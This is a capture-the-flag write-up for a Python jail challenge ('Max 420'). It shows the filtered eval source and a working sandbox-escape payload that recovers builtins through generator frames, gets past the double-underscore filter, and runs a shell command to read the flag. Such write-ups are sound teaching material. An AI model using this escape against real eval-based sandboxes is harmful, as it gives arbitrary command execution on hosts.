ECSC Estonia Prequalifier - Max 420

Challenge source code:

```
#!/usr/bin/env python3
inp = input('Gimme max 420!\n> ')
if not inp.isascii():
    quit('Give me ascii please')
if '__' in inp:
    quit('No thank you')
if len(inp) > 420:
   quit("Don't give me more than your favourite number")
eval(inp, {'__builtins__':{}}, {'__builtins__':{}})
```

A pyjail, but we are only allowed ascii characters but no double underscores. This means no funny recursive bypasses.

Since there is a ton of pyjail resources out there, I started looking for payloads to obtain builtins, with which I can import os or another library like that to get command execution on the host.

I eventually found this page containing tons of writeups for different pyjail challenges, where I eventually found this payload to obtain builtins:

```
[a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"]
```

As to how it works exactly, I am not sure, but it gives me builtins and that is what I want.

Since the character limit was pretty big (420), I just figured the easiest way to solve was to just call another eval with it and give it all builtins, which resulted in the following payload:

```
builtins_payload = '[a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"]'

payload = f"""{builtins_payload}.eval("print(_""_import_""_('os').popen('cat /flag*').read())", {{"_""_builtins_""_": {builtins_payload}}})"""
print(payload)

# [a:=[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]][-1][0]["_""_builtins_""_"].eval("print(_""_import_""_('os').popen('cat
/flag*').read())", {"_""_builtins_""_": [a:=
[],d:=a.append,d([b.gi_frame.f_back.f_back.f_globals]for b in a),*a[0]]
[-1][0]["_""_builtins_""_"]})
```

Putting this payload into the challenge server gives us the flag.